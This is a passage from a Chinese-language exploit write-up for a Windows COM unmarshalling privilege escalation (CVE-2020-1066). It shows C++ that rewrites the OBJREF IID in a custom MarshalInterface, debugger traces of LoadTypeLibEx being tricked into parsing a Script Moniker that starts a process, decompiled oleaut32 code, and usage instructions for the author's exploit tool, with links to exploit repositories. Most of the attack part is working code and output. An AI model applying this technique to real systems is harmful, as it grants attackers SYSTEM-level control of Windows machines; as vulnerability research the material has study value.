MarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags) { IStorage* stg; ILockBytes* lb; CreateILockBytesOnHGlobal(nullptr, TRUE, &lb); StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); ULONG cbRead; ULONG cbWrite; IStreamPtr pStream = nullptr; HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream); LARGE_INTEGER dlibMove = { 0 }; ULARGE_INTEGER plibNewPosition; hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast(stg), dwDestContext, pvDestContext, mshlflags); OBJREF* headerObjRef = (OBJREF*)malloc(1000); hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition); hr = pStream->Read(headerObjRef, 1000, &cbRead); printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this); //IID_InterfaceFake就是找到的接口IID_Interface headerObjRef->iid = IID_InterfaceFake; hr = pStm->Write(headerObjRef, cbRead, &cbWrite); return hr; } ``` 从调试结果可以看到CStdMarshal::UnmarshalInterface最终调用了LoadTypeLibEx,传入iid是IID_InterfaceFake(来自OBJREF),第二次调用LoadTypeLibEx加载了Script Moniker.证明确实可以HOOK高权限进程反序列化加载任意TypeLib ``` 1: kd> bp OLEAUT32!GetTypeInfoOfIID Breakpoint 0 hit OLEAUT32!GetTypeInfoOfIID: 0033:000007fe`febf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fe`febefd09 4889842480030000 mov qword ptr [rsp+380h],rax 0: kd> r rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148 rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001 0: kd> dt _GUID @rcx //查看这个参数 ole32!_GUID {55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake //下这个断点 1: kd> bp OLEAUT32!LoadTypeLibEx 1: kd> g Breakpoint 3 hit OLEAUT32!LoadTypeLibEx: 0033:000007fe`feb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 00000000`02c8e070 003a0043 0057005c 006e0069 006f0064 C.:.\.W.i.n.d.o. 00000000`02c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o. 00000000`02c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T. 00000000`02c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o. 00000000`02c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k.\.v.4...0... 00000000`02c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y. 00000000`02c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t. 00000000`02c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 00000000`02c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s... 00000000`02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 00000000`02c8e110 059f92e0 00000000 02c8e180 00000000 ................ 0: kd> kv # Child-SP RetAddr : Args to Child : Call Site 00 00000000`0391d828 000007fe`febf00eb : 00000000`00000ed8 00000000`00000000 00000000`0391d9a0 00000000`0391d870 : OLEAUT32!LoadTypeLibEx 01 00000000`0391d830 000007fe`febf0f4f : 000007fe`ff6c71c0 000007fe`ff661889 00000000`0371f310 00000000`00000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb 02 00000000`0391dbe0 000007fe`febf1149 : 00000000`00284210 00000000`0371f310 00000000`00284240 00000000`00284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df 03 00000000`0391dc40 000007fe`ff51e46a : 00000000`00000000 00000000`03715ea0 00000000`00284210 00000000`00284210 : OLEAUT32!CProxyWrapper::Connect+0x79 04 00000000`0391dc90 000007fe`ff51e233 : 00000000`0371f310 00000000`00000000 00000000`0378aaf8 00000000`00284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368] 05 00000000`0391dd00 000007fe`ff51e114 : 00000000`0391df50 00000000`0391e618 00000000`0378aaf8 00000000`00000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189] 06 00000000`0391dd90 000007fe`ff5211ec : 00000000`03715ea0 00000000`0391df68 00000000`0391e618 0000113b`9a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734] 07 00000000`0391dde0 000007fe`ff5210b7 : 00000000`00000000 00000000`059e7610 00000000`00000000 00000000`00000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618] 08 00000000`0391de80 000007fe`ff52106c : 00000000`0378aaf8 00000000`0391df50 00000000`00000001 00000000`037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279] 09 00000000`0391deb0 000007fe`ff64a0c5 : 00000000`0378aaf8 00000000`00000000 00000000`0365efb0 00000018`00000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406] //使用的是标准反序列化模式 0a 00000000`0391df30 000007fe`ff5232a6 : 00000000`037daf90 000007fe`fee64366 00000000`001cf840 000007fe`fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238] 0b 00000000`0391dfd0 000007fe`ff523542 : 000007fe`00000002 00000000`0391e340 00000000`0391db00 00000000`00000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957] 0c 00000000`0391e0b0 000007fe`fedf523e : 00000000`0363fdd4 00000000`0391e340 000007fe`00000001 00000000`0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354] 0d 00000000`0391e120 000007fe`fedff6cf : 000007fe`00000000 00000000`0391e4f0 00000000`0391e618 00000000`00000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e 0e 00000000`0391e190 000007fe`fede6e1c : 00000000`0391e340 000007fe`fede78d7 00000000`0391e4f0 00000000`0023e760 : RPCRT4!NdrPointerUnmarshall+0x2f 0f 00000000`0391e1d0 000007fe`fede68e3 : 00000000`00000020 000007fe`faac1342 00000000`0391e618 000007fe`faac1af0 : RPCRT4!NdrStubCall2+0x73c 10 00000000`0391e240 000007fe`fede7967 : 00000000`0391e9b0 000007fe`fb63a250 00000000`0391e9b0 000007fe`fb63a250 : RPCRT4!NdrStubCall2+0x203 11 00000000`0391e860 000007fe`ff660883 : 00000000`00000000 00000000`00000000 00000000`0391ec60 00000000`03715ff0 : RPCRT4!I_RpcGetBuffer+0xc7 12 00000000`0391e8c0 000007fe`ff660ccd : 00000000`00000000 00000000`00000000 000007fe`fb63a201 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586] 13 00000000`0391e8f0 000007fe`ff660c43 : 00000000`0023e760 00000000`0378a994 00000000`036ce6a0 000007fe`ec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187] 14 00000000`0391e960 000007fe`ff51a4f0 : 00000000`0023e760 00000000`037daf90 00000000`0023e760 00000000`0391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396] 15 00000000`0391ea10 000007fe`ff6614d6 : 00000000`00000000 00000018`00000010 00000000`037958a0 00000000`03715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262] 16 00000000`0391eba0 000007fe`ff66122b : 00000000`d0908070 00000000`037daf90 00000000`01d93e30 00000000`03769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086] 17 00000000`0391ec10 000007fe`ff65fd6d : 00000000`037daf90 00000000`037daf90 00000000`03715ff0 00000000`00070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727] 18 00000000`0391eda0 000007fe`fede50f4 : 000007fe`ff6c9930 00000000`00000000 00000000`037241b0 000007fe`fedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751] 19 00000000`0391ee40 000007fe`fede4f56 : 000007fe`ff670ab0 00000000`00000001 00000000`0391f0b0 000007fe`ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84 1a 00000000`0391ee70 000007fe`fede775b : 00000000`0378a970 00000000`00000000 00000000`0391f194 00000000`0378a970 : RPCRT4!NdrServerCall2+0x1be6 1b 00000000`0391ef90 000007fe`fede769b : 00000000`00000000 00000000`0391f0b0 00000000`0391f0b0 00000000`037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b 1c 00000000`0391efd0 000007fe`fede7632 : 00000000`0378a970 00000000`0378a970 00000000`0378a970 000007fe`fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b 1d 00000000`0391f050 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : RPCRT4!I_RpcBindingInqTransportType+0x202 //第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件 1: kd> g Breakpoint 3 hit OLEAUT32!LoadTypeLibEx: 0033:000007fe`feb6a550 fff3 push rbx 1: kd> dc @rcx L50 00000000`02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C. 00000000`02c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s. 00000000`02c8dd90 005c0074 006b006f 0072005c 006e0075 t.\.o.k.\.r.u.n. 00000000`02c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 00000000`02c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....CreateStub建立一个接口存根对象.相应的在Com组件的客户端套间上都维护着代理(proxy)对象列表,在对OBJREF进行Unmarshal时搜索匹配存根对象的[oxid,oid,ipid]调用IPSFactoryBuffer->CreateProxy创建对应代理,通过接口IDL文件中定义函数申明构建出物理栈,然后再通过RPCRT4.dll中实现IRpcChannel通道调用真实的接口函数与存根进行通信,从而实现Com远程过程(RPC)调用. ![点击看大图](https://ftp.bmp.ovh/imgs/2020/04/3f92df786fe10cfa.png) 代理的创建IPSFactoryBuffer->CreateProxy默认被封装成CreateProxyFromTypeInfo函数实现,这个函数的调用过程和TypeLib中的TypeInfo的相关,原因是其中TypeInfo在TypeLib中定义了接口的相关类型信息.因此这个过程中实际上必定需要调用LoadTypeLib函数来加载TypeLib和其中的TypeInfo,这也是触发漏洞最关键的一点.通过逆向分析LoadTypeLib函数调用过程,发现其具体是通过操作注册表实现.对于每个接口信息位于注册表HKEY_CLASSES_ROOT\Interface\[接口IID],其中子键TypeLib对应接口的TypeLib_GUID,接下来对应的TypeLib位于HKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID],其中对应版本的子键值就是TypeLib路径.由于一个接口可能存在多个对应版本的TypeLib子键,而反序列化时默认只加载其中一个.笔者通过逆向还原oleaut32.dll中的实现,在漏洞利用工具中实现自动匹配对应TypeLib文件并利用,具体逆向结果如下: ``` wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3) { wchar_t *result; // eax unsigned __int16 versionLookUp; // bx unsigned __int16 versionLookUpNext; // ax DWORD v6; // ebx LSTATUS i; // eax HRESULT v8; // eax wchar_t *v9; // ebx HRESULT v10; // eax int foundDotted; // [esp+8h] [ebp-31Ch] GUID *v12; // [esp+Ch] [ebp-318h] struct ITypeInfo **v13; // [esp+10h] [ebp-314h] struct ITypeInfo *v14; // [esp+14h] [ebp-310h] wchar_t *EndPtr; // [esp+18h] [ebp-30Ch] LONG cbData; // [esp+1Ch] [ebp-308h] ITypeLib *pptlib; // [esp+20h] [ebp-304h] unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h] DWORD dwIndex; // [esp+28h] [ebp-2FCh] unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h] HKEY v21; // [esp+30h] [ebp-2F4h] HKEY v22; // [esp+34h] [ebp-2F0h] HKEY phkResult; // [esp+38h] [ebp-2ECh] HKEY hKey; // [esp+3Ch] [ebp-2E8h] CLSID pclsid; // [esp+40h] [ebp-2E4h] WCHAR Data; // [esp+50h] [ebp-2D4h] wchar_t Dst; // [esp+258h] [ebp-CCh] unsigned __int16 tempData; // [esp+268h] [ebp-BCh] OLECHAR sz; // [esp+26Ch] [ebp-B8h] wchar_t SubKey; // [esp+2E8h] [ebp-3Ch] WCHAR Name; // [esp+304h] [ebp-20h] v12 = rguid; v13 = a2; if ( a3 >= 16 ) return (wchar_t *)-2147319779; result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2); if ( (signed int)result < 0 ) return result; if ( result != (wchar_t *)1 ) goto LABEL_57; hKey = (HKEY)-1; phkResult = (HKEY)-1; v22 = (HKEY)-1; v21 = (HKEY)-1; pptlib = 0; //先找Interface wcscpy_s(&Dst, 0x47u, L"Interface\\"); StringFromGUID2(rguid, &sz, 39); //如果存在Forward wcscat_s(&Dst, 0x47u, L"\\Forward"); cbData = 520; if ( QueryClassesRootValueW(&Dst, &Data, &cbData) || CLSIDFromString(&Data, &pclsid) || GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) ) { *(_DWORD *)SubVersion = 0; *(_DWORD *)Version = 0; //找里面的TypeLib wcscpy_s(&Dst, 0x47u, L"TypeLib\\"); result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted); if ( (signed int)result >= 0 ) { //打开ClassesRoot根节点 if ( OpenClassesRootKeyW(&Dst, &hKey) ) { result = (wchar_t *)-2147319779; } else { SubKey = 0; //查找子健,枚举版本号 for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex ) { versionLookUp = _wcstoul(&Name, &EndPtr, 16); if ( *EndPtr == '.' ) { if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0] || versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] ) { *(_DWORD *)SubVersion = versionLookUpNext; *(_DWORD *)Version = versionLookUp; wcscpy_s(&SubKey, 0xDu, &Name); } } } if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) ) { if ( phkResult == hKey ) hKey = (HKEY)-1; v6 = 0; //继续枚举子健 for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) ) { if ( FIsLCID(&Dst) ) { if ( RegOpenKeyW(phkResult, &Dst, &v22) || RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) ) { break; } cbData = 520; if ( RegQueryValueW(v21, 0, &Data, &cbData) ) break; //找到后就加载 v8 = LoadTypeLib(&Data, &pptlib); v9 = (wchar_t *)v8; if ( !v8 || v8 >= 0 ) { //根据GUID查找TypeInfo v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14); v9 = (wchar_t *)v10; if ( !v10 || v10 >= 0 ) { *v13 = v14; v9 = 0; } } goto LABEL_26; } ++v6; } } .... ``` 每个TypeLib可以是嵌套的TypeLib结构,而加载嵌套的TypeLib也会递归调用LoadTypeLibEx,具体构造方法参考利用工具代码和[微软官方API](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-itypelib2).这样就可以在递归加载TypeLib时指定一个不存在的TypeLib文件路径,就可以被当作一个[Moniker](https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-imoniker)来解析,通过Moniker的DisplayName.这里用的是Script Monike,即script:xxx.sct脚本文件,最终Script Moniker被解析触发BindToObject,以Unmarshal反序列化调用者权限启动Shell,原理如下: ``` HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) { ... ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind); if ( ptlib ) goto LABEL_31; //Typelib文件路径不存在时 if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) ) { if ( CreateBindCtx(1u, &ppbc) ) goto LABEL_67; v8 = SysAllocString(szFileNameRef); if ( v8 ) { //可以解析成解析Script Moniker stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk); SysFreeString(v8); if ( !stat ) { //启动shell stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib); ppmk->lpVtbl->Release(ppmk); } } ... ``` ![查看大图](https://ftp.bmp.ovh/imgs/2020/05/3f68b0bcbe398136.png) 对比Process Monitor,以下是Script Moniker最终创建进程的调试结果 ``` Breakpoint 0 hit kernel32!CreateProcessW: 0033:00000000`77741bb0 4883ec68 sub rsp,68h //启动的就是exp 0: kd> dc @rdx 00000000`0378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t. 00000000`0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M. 00000000`0378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p... 00000000`0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1..... 00000000`0378ba38 00000000 00000000 00000000 00000000 ................ 00000000`0378ba48 00000000 00000000 00000000 00000000 ................ 0: kd> kv # Child-SP RetAddr : Args to Child : Call Site 00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW 01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d 02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3 03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60 04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268 05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a 06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad 07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d 08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d 09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187 0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5 0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5 0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223 0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e 0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf 0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a 10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca 11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68 12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f 13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\call_as.c @ 2264] 14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\mega_p.c @ 487] 15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806 16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6 17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586] 18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187] 19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396] 1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262] 1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923] 1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081] 1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727] 1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469] 1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298] 20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654] 21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad 22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5 23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957] 24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834] 25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257] 26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63] 27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd 28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21 ``` 我的漏洞利用工具测试方式如下,需要管理员运行 ``` 1.只适用Windows7系统直接运行,无参数,替换默认Typelib MyComEop.exe 2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll MyComEop.exe [u] [TypeLib_Path] 3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc} MyComEop.exe [u] [IID_Interface] 4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path] MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection] 5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc} MyComEop.exe [t] [IID_Interface] ``` #### 运行效果 #### 以下是笔者exp运行的效果,如图: ![点击看大图](https://ftp.bmp.ovh/imgs/2020/04/0675ebb200afb3a5.gif) #### 相关项目 #### [CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION) [Windows CardSpace服务反编译工程](https://gitee.com/cbwang505/Windows_CardSpace_Service) [我的ole32逆向工程](https://gitee.com/cbwang505/MyOle32ReverseEngineering) [我的漏洞利用工具](https://gitee.com/cbwang505/TypeLibUnmarshaler) [符号链接工具](https://github.com/googleprojectzero/symboliclink-testing-tools) [CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP) #### 相关引用 #### [CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066) #### 参与贡献 #### 作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com